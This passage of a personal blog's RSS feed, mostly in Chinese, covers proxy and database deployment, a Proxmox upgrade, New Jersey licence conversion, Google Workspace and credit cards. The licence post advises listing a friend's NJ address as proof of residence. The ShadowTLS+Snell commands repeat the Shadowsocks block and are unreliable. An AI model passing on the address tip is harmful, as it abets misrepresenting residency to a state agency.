&lt;li&gt;PA State ID (Real ID)：用于坐飞机和日常带出门&lt;/li&gt;
&lt;li&gt;NJ Driver&apos;s License (with IDP)：用于在美国和全世界开车&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么不把 NJ DL 换成 PA DL (Real ID)？&lt;/p&gt;
&lt;p&gt;因为这样会大大缩短我的 DL 的有效期。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;不与身份挂钩的 DL&lt;/h2&gt;
&lt;p&gt;顾名思义，DL 的有效期与你的身份无关。众生平等，任何人都会有相同的有效期，例如 NJ 即使你是没有身份的非法移民，DL 的有效期也是到四年后的生日。当然 Real ID 的法案比较严格，如果你希望获得更长的有效期，不建议申请 Real ID。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New York (4 years)&lt;/li&gt;
&lt;li&gt;Maryland (8 years)&lt;/li&gt;
&lt;li&gt;New Jersey (4 years)&lt;/li&gt;
&lt;li&gt;Washington (6 years)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上信息来自 &lt;a href=&quot;https://usdrive.org/2018/09/16/%E5%85%B3%E4%BA%8E%E7%BE%8E%E5%9B%BD%E5%87%A0%E4%B8%AA%E5%B7%9E%E7%9A%84%E9%A9%BE%E7%85%A7%E6%9C%89%E6%95%88%E6%9C%9F/#:~:text=%E5%8A%A0%E5%B7%9E%E7%9A%84%E4%B8%80%E8%88%AC%E9%A9%BE%E7%85%A7%E6%9C%89%E6%95%88%E6%9C%9F,%E8%BA%AB%E4%BB%BD%E5%88%B0%E6%9C%9F%E6%97%A5%E4%B8%80%E8%87%B4%E3%80%82&quot;&gt;usdrive.org&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Know ShadowTLS too late</title><link>https://missuo.me/posts/shadowtls/</link><guid isPermaLink="true">https://missuo.me/posts/shadowtls/</guid><description>A Docker Compose deployment guide for ShadowTLS V3 with Shadowsocks or Snell, offering a more compatible alternative to Snell for users without Surge.</description><pubDate>Mon, 05 May 2025 14:10:28 GMT</pubDate><content:encoded>&lt;p&gt;正如标题写的那样，&lt;strong&gt;ShadowTLS 相见恨晚&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;偶然在 Mihomo 的 Issue 里面看到作者说 ShadowTLS 还很稳，所以没必要支持 XHTTP。看了一下 ShadowTLS 的作者竟然是我关注了很久的大佬 &lt;a href=&quot;https://github.com/ihciah&quot;&gt;ihc&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;看了一下 GitHub 的文档，发现部署 ShadowTLS 其实非常简单。我尝试在日本 IIJ 的服务器上部署了一下，发现速度很不错。并且 Surge 和 Shadowrocket 都支持 ShadowTLS。之前一直在用 Snell，但是苦于 Snell 必须要依赖 Surge，很难分享给没有 Surge 的朋友使用。ShadowTLS 刚好解决了这个问题。&lt;/p&gt;
&lt;p&gt;由于 老刘没有提供 Snell Server 的 Docker Image，我在 &lt;a href=&quot;https://github.com/geekdada/snell-server-docker&quot;&gt;geekdada/snell-server-docker&lt;/a&gt; 的基础上改进了一下，支持了 Github Actions 的自动构建，并且支持了更多的环境变量。&lt;/p&gt;
&lt;h2&gt;如何部署&lt;/h2&gt;
&lt;p&gt;本文只介绍如何使用 Docker Compose 部署 ShadowTLS + Shadowsocks 和 ShadowTLS + Snell。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/missuo/snell-server-docker&quot;&gt;https://github.com/missuo/snell-server-docker&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;ShadowTLS + Shadowsocks&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Create directory and navigate to it
mkdir shadowtls-shadowsocks
cd shadowtls-shadowsocks

# Download compose file
wget -O compose.yaml https://raw.githubusercontent.com/missuo/snell-server-docker/refs/heads/master/compose-shadowsocks.yaml

# Generate random password for enhanced security
openssl rand -base64 32

# Edit the compose file with your configuration
nano compose.yaml

# Start the containers
docker compose up -d

# Check logs
docker compose logs
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ShadowTLS + Snell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Create directory and navigate to it
mkdir shadowtls-shadowsocks
cd shadowtls-shadowsocks

# Download compose file
wget -O compose.yaml https://raw.githubusercontent.com/missuo/snell-server-docker/refs/heads/master/compose-shadowsocks.yaml

# Generate random password for enhanced security
openssl rand -base64 32

# Edit the compose file with your configuration
nano compose.yaml

# Start the containers
docker compose up -d

# Check logs
docker compose logs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中我提供的 compose 文件使用的是 ShadowTLS V3 (Strict Mode)。&lt;/p&gt;
</content:encoded></item><item><title>PostgreSQL Master-Slave Synchronization</title><link>https://missuo.me/posts/postgresql-auto-sync/</link><guid isPermaLink="true">https://missuo.me/posts/postgresql-auto-sync/</guid><description>A simple PostgreSQL master-slave replication setup using bitnami/postgresql Docker image across Los Angeles and Pittsburgh servers, as an alternative to Supabase&apos;s free tier limitations.</description><pubDate>Sun, 04 May 2025 05:43:07 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本来一直在用 Supabase，但是苦于 Free Plan 只能创建两个 Database，所以不得不寻找其他方案。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最初的想法是，在我美国的不同地区的 Servers 上部署 PG Instance，并且实现 HA (High Availability) 和 Replication。但是我发现如果要实现 HA，至少需要三个 Servers，而且需要保证三个 Servers 之间的优秀的网络。我又没有那么多 Servers，所以最后放弃了 HA。仅保留了主从 Replication，也就是说只要我在 Master 上创建了 Database，那么从数据库也会自动创建一个相同的 Database，并且自动同步数据。&lt;/p&gt;
&lt;p&gt;我找到了一个相对来说比较简单的方案，就是使用 &lt;a href=&quot;https://hub.docker.com/r/bitnami/postgresql&quot;&gt;bitnami/postgresql&lt;/a&gt; 这个 Docker Image。&lt;/p&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;h3&gt;Master Instance&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;services:
  postgres-primary:
    image: bitnami/postgresql:latest
    env_file:
      - .env
    restart: always
    volumes:
      - ./data/primary:/bitnami/postgresql
    ports:
      - &quot;5432:5432&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# .env
POSTGRESQL_REPLICATION_MODE=master
POSTGRESQL_REPLICATION_USER=replicator
POSTGRESQL_REPLICATION_PASSWORD=password_hard_to_guess
POSTGRESQL_USERNAME=postgres
POSTGRESQL_PASSWORD=password_hard_to_guess
POSTGRESQL_DATABASE=mydb
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Slave Instance&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;services:
  postgres-replica:
    image: bitnami/postgresql:latest
    env_file:
      - .env
    restart: always
    volumes:
      - ./data/replica:/bitnami/postgresql
    ports:
      - &quot;5433:5432&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;POSTGRESQL_REPLICATION_MODE=slave
POSTGRESQL_REPLICATION_USER=replicator
POSTGRESQL_REPLICATION_PASSWORD=password_hard_to_guess
POSTGRESQL_MASTER_HOST=master_instance_public_ip
POSTGRESQL_MASTER_PORT_NUMBER=5432
POSTGRESQL_USERNAME=postgres
POSTGRESQL_PASSWORD=password_hard_to_guess
POSTGRESQL_DATABASE=mydb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 Slave Instance 的 Port 其实可以不用映射到公网，因为 Slave 只负责同步数据，不负责对外提供服务。当然，我暴露 5433 是为了连接 Slave Instance 测试是否能实现自动同步。&lt;/p&gt;
&lt;p&gt;我的 Master Instance 部署在 Los Angeles, CA，然而 Slave Instance 部署在 Pittsburgh, PA 家里的 PVE 的 Debian VM 上，实际测试下来效果非常好，能否实现几乎无延迟的同步。&lt;/p&gt;
&lt;h2&gt;优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 TLS 加密所有 Postgres 连接。&lt;/li&gt;
&lt;li&gt;计划实现真正的高可用性 (例如 Patroni 或 pg_auto_failover) 。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Proxmox VE smooth upgrade</title><link>https://missuo.me/posts/pve-upgrade/</link><guid isPermaLink="true">https://missuo.me/posts/pve-upgrade/</guid><description>A quick guide to upgrading Proxmox VE without an enterprise subscription by adding the no-subscription repository and running apt dist-upgrade.</description><pubDate>Thu, 10 Apr 2025 17:38:10 GMT</pubDate><content:encoded>&lt;p&gt;Recently, PVE released version 8.4.0, while I am still using 8.3.0 and plan to upgrade to the latest version.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open the PVE management backend, select &lt;code&gt;pve&lt;/code&gt;, and click &lt;code&gt;Shell&lt;/code&gt;. This will open the command line for PVE.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;By default, if there is no enterprise subscription, updates cannot be checked, so you need to add a no-subscription source.list.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/apt/sources.list.d/pve-no-subscription.list
# Enter the following line
deb http://download.proxmox.com/debian/pve bookworm pve-no-subscription
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Update the PVE source and upgrade the PVE.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt list --upgradable
apt dist-upgrade
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;After the upgrade is complete, check the PVE version.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;pveversion -v
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Get an US DL with a Chinese DL</title><link>https://missuo.me/posts/nj-mvc-license/</link><guid isPermaLink="true">https://missuo.me/posts/nj-mvc-license/</guid><description>A detailed guide to converting a Chinese driver&apos;s license to a New Jersey license with road test waiver at specific MVC locations (North Bergen, Bayonne, Lodi), including a Telegram channel for appointment monitoring.</description><pubDate>Thu, 03 Apr 2025 06:39:02 GMT</pubDate><content:encoded>&lt;p&gt;使用中国驾照及翻译件在美国租车，大部分的租车公司会租给你，当然其实这样的操作在美国的部分州是不合法的。所以，如果有美国驾照就会方便很多，更重要的是持有美国驾照可以去 AAA 换取国际驾照（IDP），这样就可以在全世界范围内租车了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250403KzSaN5.png&quot; alt=&quot;20250403KzSaN5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;灰色部分是不承认 IDP 的国家和地区。（非洲和南美洲部分地区以及中国大陆不能使用 IDP 开车）&lt;/p&gt;
&lt;p&gt;本文主要介绍的是使用中国驾照在美国新泽西州申请美国驾照的保姆级攻略。&lt;/p&gt;
&lt;h2&gt;材料准备&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;中国驾照原件&lt;/li&gt;
&lt;li&gt;中国驾照翻译件原件（可以找 &lt;a href=&quot;https://www.aiqiang.org/nj-license-intro&quot;&gt;Aiqiang Chen&lt;/a&gt; 翻译，如果想要省钱也可以自行翻译）&lt;/li&gt;
&lt;li&gt;SSN 原件 (如果没有可以使用 I-94 或者 I-20 代替)&lt;/li&gt;
&lt;li&gt;护照&lt;/li&gt;
&lt;li&gt;地址证明（Checking Account Statement）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请流程&lt;/h2&gt;
&lt;p&gt;尽管 NJ 有很多的 MVC，但是根据网友的反馈，绝大多数的 MVC 都可能会需要路考，所以我个人仅推荐成功率比较高的可以 Waive 路考的 MVC，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;North Bergen&lt;/li&gt;
&lt;li&gt;Bayonne&lt;/li&gt;
&lt;li&gt;Lodi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我有尝试过 Oakland 最终失败了，而且一旦你在别的 MVC 通过了 Knowledge Test，并且已经拿到了 Learner Permit，那就没有办法再 Waive 路考了。只能等待两年 Learner Permit 过期后重新申请。&lt;/p&gt;
&lt;p&gt;上述提到的三家 MVC 离 NYC 都比较近，加上广受好评，导致预约非常困难。一般只能约到起码 20 天之后的时间。根据我的经验，其实只有有脚本一直监控空余的预约，是可以约到当天的时间的，为此我专门写了一个脚本监控这三家 MVC 未来三天内的空余预约，你可以订阅我的 &lt;a href=&quot;https://ssa.sx/mvc&quot;&gt;Telegram Channel&lt;/a&gt; 收到通知。&lt;/p&gt;
&lt;p&gt;在任何一家的 MVC 你都需要先拿着预约进去，然后工作人员会在名单上找你的名字，当然如果是当天捡漏的预约的话，他们的名单上可能没有你的名字，你只要把预约成功的邮件或者短信给工作人员看即可。他就会给你一张表格让你填写。应该先选择 Learner Permit 的申请，填完之后前往 ID Check 窗口，其实这一步就是帮你检查材料是否齐全，这个时候你需要跟他说你有中国驾照，并且你想 Waive 路考。工作人员帮你检查完材料确定无误之后，会给你分配一个号码，等到叫号之后前往窗口提交材料。这个时候需要拍照，签名，支付 $10 的 Learner Permit 费用。他会问你是否需要今天参加 Knowledge Test，如果是的话接下来就等待叫号参加笔试。&lt;/p&gt;
&lt;p&gt;先是测试视力，然后上机笔试，通过之后，就到了最关键的 Waive 路考环节。如果在 North Bergen 申请的话，需要你打开 12123 的 App 上的电子版中国驾照查看，请注意美国的 IP 根本无法登录，这边建议你提前准备好香港的 IP 或者中国大陆 IP 的 VPN。&lt;/p&gt;
&lt;p&gt;这一步完成之后，接下来应该重新 ID Check 一遍，然后获取一个号码，等待叫号办理 Full License。但是很多 MVC 不让在当天进行到这一步，通常会让你第二天再来。由于这个业务没办法预约，会导致第二天只能 Walk-in 办理，目前知道的情况是每家 MVC 每天都有 Walk-in 的名额，但是具体是多少，我还没有去验证过，理论上去得早的话应该肯定没什么问题。如果他们没有给你 Walk-in 的名额，你可以尝试直接到 ID Check 窗口，你可以跳过门口检查预约的地方，因为通常上一天的工作人员会给你那张填写的卡片。&lt;/p&gt;
&lt;p&gt;第二天的这个流程其实很简单，就是 ID Check 完，等叫号去办理的窗口，拍照，签字，支付 $24 的 Full License 费用，等待 20 天左右就可以收到邮寄的正式驾照了。&lt;/p&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;如果你在别的州有 Permit 和 License，他们理论上不会给你 Waive 路考，但是似乎他们查询不到你是否有别的州的 Permit 和 License。&lt;/li&gt;
&lt;li&gt;关于地址证明，仅需打开 Chase App 修改到 NJ 朋友家的地址即可。&lt;/li&gt;
&lt;li&gt;关于笔试，个人觉得 Aiqiang Chen 的题库看起来确实很多题目很接近很困惑，例如罚款多少钱，几年内不能考驾照类似那些，但是实际上考试很简单，都是一些基础题目。&lt;/li&gt;
&lt;li&gt;关于 Real ID 的申请，我强烈不建议申请 Real ID，即使 Real ID 的法案在五月就要生效了。Real ID  License 的有效期仅有一年，而 Standard License 的有效期是四年。&lt;/li&gt;
&lt;li&gt;关于 IDP，需要等你拿到正式驾照之后才可以去 AAA 申请。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;监控三家 MVC 空余预约&lt;/h2&gt;
&lt;p&gt;暂时不会考虑开源代码，你仅需订阅频道就可以收到实时的消息。有需要代抢和预约的朋友欢迎给我发邮件 &lt;a href=&quot;mailto:me@owo.nz&quot;&gt;me@owo.nz&lt;/a&gt;。&lt;/p&gt;
</content:encoded></item><item><title>Permanently free Google Workspace</title><link>https://missuo.me/posts/free-google-workspace/</link><guid isPermaLink="true">https://missuo.me/posts/free-google-workspace/</guid><description>The story of acquiring a G Suite Legacy account and upgrading it to the permanently free Google Workspace Starter edition before the conversion window closed in 2023, now supporting 300 users and Gemini AI features.</description><pubDate>Fri, 21 Mar 2025 05:18:59 GMT</pubDate><content:encoded>&lt;p&gt;2022 年的时候偶然在 Twitter 上看到 &lt;a href=&quot;https://luolei.org&quot;&gt;luolei&lt;/a&gt; 的 &lt;a href=&quot;https://x.com/luoleiorg/status/1581257196662235136&quot;&gt;帖子&lt;/a&gt;，才知道 Google Workspace 原来有永久免费的版本。&lt;/p&gt;
&lt;p&gt;经过一番搜索发现，这个永久免费的 Google Workspace Starter 版本是由 G Suite Legacy 升级过去的，而在 2022 年这个时间点，G Suite Legacy 已经停止服务了。但是好消息是从 G Suite Legacy 升级为 Google Workspace Starter 的通道还在，只要承诺是仅个人使用。（截止到我写这篇博客的时候似乎通道已经在 2023 年 8 月 21 日关闭）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://support.google.com/a/answer/60217&quot;&gt;https://support.google.com/a/answer/60217&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以上是原来的升级通道，仅需点击承诺仅个人使用即可完成升级。好处是升级之后会从 100 人变为 300 人的版本，另外 G Suite Legacy 本来是无法换绑域名的，你只能添加额外的域名，而升级到了 Google Workspace Starter 之后，你甚至可以移除原来的域名。&lt;/p&gt;
&lt;p&gt;2022 年 10 月 17 日，我在 Google 找了一个相对便宜的网站，入手了 G Suite Legacy 并成功升级到了 Google Workspace Starter。当时花费 $60，后来有很多朋友私信询问购买渠道，后来商家可能知道需求突然变高，开始涨价。而到今天，虽然还能买到 G Suite Legacy，但是不确定能否升级到 Google Workspace Starter。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250321FP3oyx.png&quot; alt=&quot;20250321FP3oyx&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As of August 21, 2023, you can no longer identify as a personal user and revert to a no-cost subscription. If you already identified that you use your account for personal use, you don’t need to take any further action at this time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The no-cost subscription is only intended for personal non-commercial use. If you used G Suite legacy free edition for business purposes, we transitioned your account to Google Workspace. The no-cost subscription does not include support, and in the future we may remove certain business functionality.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以上是官方的原话，很有可能永久免费的 Google Workspace 将成为真正的「传家宝」。&lt;/p&gt;
&lt;p&gt;我在过去用过腾讯企业邮箱，阿里云企业邮箱，网易企业邮箱，Lark，Yandex Mail，&lt;a href=&quot;http://Mail.ru&quot;&gt;Mail.ru&lt;/a&gt; 等等，但是这些都远不上 Google Workspace。自从 Gemini 推出之后，现在使用 Google Workspace Starter 的所有成员都可以免费使用 Gemini 相关的 AI 功能。例如 Summarize 和补全等功能。更重要的是可以绑定很多域名，我目前已经绑定了 12 个域名。具体关于这个 Plan 的详细信息可以参考 &lt;a href=&quot;https://workspace.google.com/pricing&quot;&gt;https://workspace.google.com/pricing&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;截止发文前看了一下之前买的网站，现在 G Suite Legacy 10 Users 的版本售价为 $90，当然在本文我不会推荐任何的商家，感兴趣的可以自行谷歌搜索。&lt;/p&gt;
</content:encoded></item><item><title>Guess the Flight from the Picture</title><link>https://missuo.me/posts/picture-to-flight/</link><guid isPermaLink="true">https://missuo.me/posts/picture-to-flight/</guid><description>A flight enthusiast&apos;s detective work identifying friends&apos; flights from social media photos using clues like aircraft type, airline, flight duration, and Flightradar24 to deduce exact routes.</description><pubDate>Thu, 20 Mar 2025 03:00:21 GMT</pubDate><content:encoded>&lt;p&gt;I often see friends posting pictures of themselves on airplanes in their WeChat Moments or Instagram Stories, but most of them put mosaics on their boarding passes or photos. However, as a flight enthusiast, I always try to find out the exact flight number, as well as the origin and destination of the flight.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202503190q8pYt.JPG&quot; alt=&quot;202503190q8pYt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Today&apos;s challenge is, can you tell which flight this picture is from?&lt;/p&gt;
&lt;p&gt;At first, I felt clueless when I saw this picture. I focused on the display screen on the right, but the screen only showed switching between English, Chinese, and Japanese, which didn&apos;t seem to have any useful information. After zooming in and looking closely, I found that the aircraft is a Boeing 777-300, and the operating airline is Air New Zealand. Combined with the fact that it was posted 1 hour ago, meaning it took off about an hour ago. Of course, if you didn&apos;t know it was an Air New Zealand aircraft, you could also guess from the language switching on the display that the airline should be from an English-speaking country. Adding the crucial information my friend wrote, an 8-hour flight, the information is sufficient.&lt;/p&gt;
&lt;p&gt;I opened Flightradar24 and started searching for all live flights of Air New Zealand that took off about an hour ago and had a flight duration of around 8 hours. Finally, I found it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NZ175
Aircraft type: Boeing 777-319(ER)
Registration: ZK-OKN
Route: Auckland - Perth
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I remembered a screenshot I saw on WeChat Moments before, which only showed departure from PVG and the boarding gate was DXX. Since the D gates at PVG are for international flights, I clicked on all PVG departures and checked the boarding gates. Finally, I matched it to the Shanghai to Singapore flight.&lt;/p&gt;
&lt;p&gt;You might think I&apos;m doing something very boring, but I find this process very interesting. It teaches me to pay attention to all the details and to make good use of tools.&lt;/p&gt;
</content:encoded></item><item><title>Upgraded my Mac Studio</title><link>https://missuo.me/posts/upgrade-mac-studio/</link><guid isPermaLink="true">https://missuo.me/posts/upgrade-mac-studio/</guid><description>An upgrade story from Acer N7000 to Samsung 990 EVO external SSD for Mac Studio, resolving Finder freezes and enabling Apple Intelligence via the XcodeLLMEligible workaround for external drive users.</description><pubDate>Mon, 24 Feb 2025 08:09:20 GMT</pubDate><content:encoded>&lt;p&gt;一年多之前我买了一台 Mac Studio 2022 (M1 Max)，在当时看来是一个很不错的价格 $1199。配置为 32G Memory + 512G SSD。&lt;/p&gt;
&lt;p&gt;由于我的数据太多，512G 是显然不够的，因此当时我就外挂硬盘盒，使用 Acer N7000 4TB，硬盘盒则是来自 ITGZ 的 ASM2464PD。（当然在今天看来这也许不是一个明智的选择）&lt;/p&gt;
&lt;p&gt;当时是看了很多 YouTuber 推荐 ITGZ 的硬盘盒，看了一下价格也比较便宜就直接买了。而至于为什么选择 Acer N7000，原因是当时在 JD 上别的 4TB 且无缓存的选择不多，知名大品牌价格也都不便宜。Acer N7000 购入的价格为 CN¥1392 = $192。&lt;/p&gt;
&lt;p&gt;其实使用了很长一段时间也没有发现有任何问题，直到一两个月之前，出现了频繁卡死的情况，连鼠标指针都没法动，再加上很多次 Finder 甚至几分钟都加载不出任何文件。我以为是 ASM2464PD 主控的问题，于是我买了 JHL7440 主控的硬盘盒进行测试，结果无济于事。甚至，一周之后 JHL7440 主控的硬盘盒还直接挂了。&lt;/p&gt;
&lt;h2&gt;升级&lt;/h2&gt;
&lt;p&gt;这一次选择了 SAMSUNG 990 EVO 2TB，Amazon 含税 $107。换上了 JHL7440 主控的 ACASIS。根据我的实际测试，来自 Intel 的 JHL7440 比 ASM2464PD 至少在发热方面的表现有显著的差距。用手摸硬盘盒，JHL7440 几乎感觉不到温度，仅仅只是比体温高一点点而已，大概常年保持在 42°C 左右。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250224yN0DzF.png&quot; alt=&quot;20250224yN0DzF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;速度表现还不错，几乎和内置硬盘的体验完全一致。&lt;/p&gt;
&lt;p&gt;之前因为一直使用外置硬盘，导致一直在 Mac Studio 上没法体验 Apple Intelligence。这一次换上新的硬盘，迁移完数据之后。想到能不能有办法骗过检测来启用。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Kyle-Ye/XcodeLLMEligible&quot;&gt;https://github.com/Kyle-Ye/XcodeLLMEligible&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最后发现 Kyle Ye 的项目可用，我使用的是不需要关闭 SIP 的 override file 的方式。不确定在 macOS 15.4 Beta 1 是否仍然可用，目前的测试结果是 China SKU 的设备是无法启用的，对于我这样的 US 版本外置硬盘用户就不确定了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250224yivSes.png&quot; alt=&quot;20250224yivSes&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>US Credit Card Guide</title><link>https://missuo.me/posts/us-credit-card/</link><guid isPermaLink="true">https://missuo.me/posts/us-credit-card/</guid><description>A comprehensive US credit card strategy guide for international students with and without SSN/ITIN, recommending application sequences including BoA, Amex BCE, Chase CFU/CSP, and Apple Card to build credit history.</description><pubDate>Sun, 24 Nov 2024 06:54:50 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;对于美国信用卡的玩卡指南，只要分为留学生（无 SSN/ITIN）和 SSN/ITIN 用户。关于卡片的介绍我这里不过多赘述，全部来自于 &lt;a href=&quot;https://www.uscreditcardguide.com/&quot;&gt;US Credit Card Guide&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;留学生（无 SSN/ITIN）&lt;/h2&gt;
&lt;h3&gt;首卡 - Bank of America 321&lt;/h3&gt;
&lt;p&gt;对于留学生刚到美国，没有 SSN/ITIN 的情况下，去 BoA Branch 开一个 Checking Account 之后，存入几千美元之后，即可直接申请这张卡来积累信用记录。关于该卡的优势可以参考下面的链接：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bankofamerica.com/credit-cards/bank-americas-premium-rewards-credit-card/&quot;&gt;Bank of America 321&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外还有一张 Deserve EDU，是专门针对留学生的卡，但是开卡奖励相对较低，但是官网显示升级，已经几年了还没开放申请。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/deserve-edu/&quot;&gt;Deserve EDU&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第二张卡 - Amex Blue Cash Everyday&lt;/h3&gt;
&lt;p&gt;积累三个月左右的信用记录之后，推荐申请 Amex 系列的卡，比较推荐 BCE，近期的开卡奖励不错，并且 Amex 会给相对不错的额度。（由于无 SSN/ITIN，需要打电话给客服申请）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/blue-cash-everyday/&quot;&gt;Amex Blue Cash Everyday&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第三张卡 - Amex Hilton Honors&lt;/h3&gt;
&lt;p&gt;这张卡和上面的 BCE 可以根据自己的情况选择先开哪张。这张卡相比 BCE 的优势在于无 FTF，可以在美国以外的地方旅行的时候刷。（由于无 SSN/ITIN，需要打电话给客服申请）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/amex-hilton/&quot;&gt;Amex Hilton Honors&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;后续&lt;/h3&gt;
&lt;p&gt;由于留学生没有 SSN/ITIN，能玩的卡相对来说比较少，之后的话基本上也只能玩 Amex 的 Charge Card，例如 Green, Gold, Platinum 等等。&lt;/p&gt;
&lt;h2&gt;ITIN 用户&lt;/h2&gt;
&lt;p&gt;ITIN 可以申请的卡相对来说就比较多了，基本上可以玩市面上大部分的卡。&lt;/p&gt;
&lt;h3&gt;首卡 - Capital One Quicksilver 押金卡&lt;/h3&gt;
&lt;p&gt;由于完全没有信用记录，C1 的押金卡几乎是唯一的选择。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/capital-one-quicksilver/&quot;&gt;Capital One Quicksilver&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第二张卡 - Amex Blue Cash Everyday&lt;/h3&gt;
&lt;p&gt;大概使用三个月左右，可以直接申请 Amex BCE，个人觉得可以直接跳过 Amex Everyday。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/blue-cash-everyday/&quot;&gt;Amex Blue Cash Everyday&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第三张卡 - Chase Freedom Unlimited&lt;/h3&gt;
&lt;p&gt;对于 Chase 有严格的 5/24 规则，所以在还没申请到 5 张卡之前，建议申请到 Chase Sapphire 系列。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/chase-freedom-unlimited/&quot;&gt;Chase Freedom Unlimited&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第四张卡 - Chase Sapphire Preferred&lt;/h3&gt;
&lt;p&gt;CSP 的审核还算是比较严格的，在 CFU 额度没有达到 $5000 之前，基本上是申请不到的。所以你可能需要使用 CFU 很久之后才有资格申请 CSP。（如果你不想把 Chase 玩毕业，可以直接跳过 Chase）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/chase-sapphire-preferred/&quot;&gt;Chase Sapphire Preferred&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第五张卡 - Amex Hilton Honors&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/amex-hilton/&quot;&gt;Amex Hilton Honors&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第六张卡 - Apple Card&lt;/h3&gt;
&lt;p&gt;Apple Card 的审核也比较玄学，具体批卡的要求不是很明确。建议信用记录至少六个月，持有的卡片不要太多，每个月申请一次试试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/apple-card/&quot;&gt;Apple Card&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;后续&lt;/h3&gt;
&lt;p&gt;后续可以玩一些 Amex 的高端卡，例如 Charge Card 等等。但是不建议再申请 Capital One 的卡，因为会留下三个 Hard Pull，会直接让你的信用分降低。&lt;/p&gt;
&lt;h2&gt;SSN 用户&lt;/h2&gt;
&lt;p&gt;SSN 用户基本上可以玩市面上大部分的卡，所以基本上没有什么限制。&lt;/p&gt;
&lt;h3&gt;首卡 - Chase Freedom Unlimited&lt;/h3&gt;
